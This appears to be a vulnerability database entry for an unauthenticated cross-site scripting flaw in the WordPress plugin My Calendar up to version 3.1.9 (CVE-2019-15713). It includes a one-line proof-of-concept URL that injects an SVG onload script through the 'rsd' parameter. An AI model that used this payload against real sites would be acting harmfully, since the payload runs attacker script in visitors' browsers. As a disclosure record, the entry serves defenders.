Lucene search
Joe DolsonWPVDB-ID:DBF334CE-C8F5-4380-B8EC-49703B386C8FHistoryApr 30, 2019 - 12:00 a.m.
My Calendar <= 3.1.9 - Unauthenticated Cross-Site Scripting (XSS)
2019-04-3000:00:00
Joe Dolson
wpscan.com
8
EPSS
0.001
Percentile
41.8%
Triggered via unescaped usage of URL parameters in multiple locations presented in the public view of a site.
PoC
http://www.domain.de/?rsd='><svg%2Fonload%3Dconfirm(%2FOPENBUGBOUNTY%2F)>
Related
cvelist
cvelist
CVE-2019-15713
2019-08-28 11:46:49
nuclei
nuclei
WordPress My Calendar <= 3.1.9 - Cross-Site Scripting
2021-07-15 17:09:33
prion
prion
Cross site scripting
2019-08-28 12:15:00
cve
cve
CVE-2019-15713
2019-08-28 12:15:12
openvas
openvas
WordPress My Calendar Plugin < 3.1.10 XSS Vulnerability
2019-09-11 00:00:00
wpexploit
wpexploit
My Calendar <= 3.1.9 - Unauthenticated Cross-Site Scripting (XSS)
2019-04-30 00:00:00
nvd
nvd
CVE-2019-15713
2019-08-28 12:15:12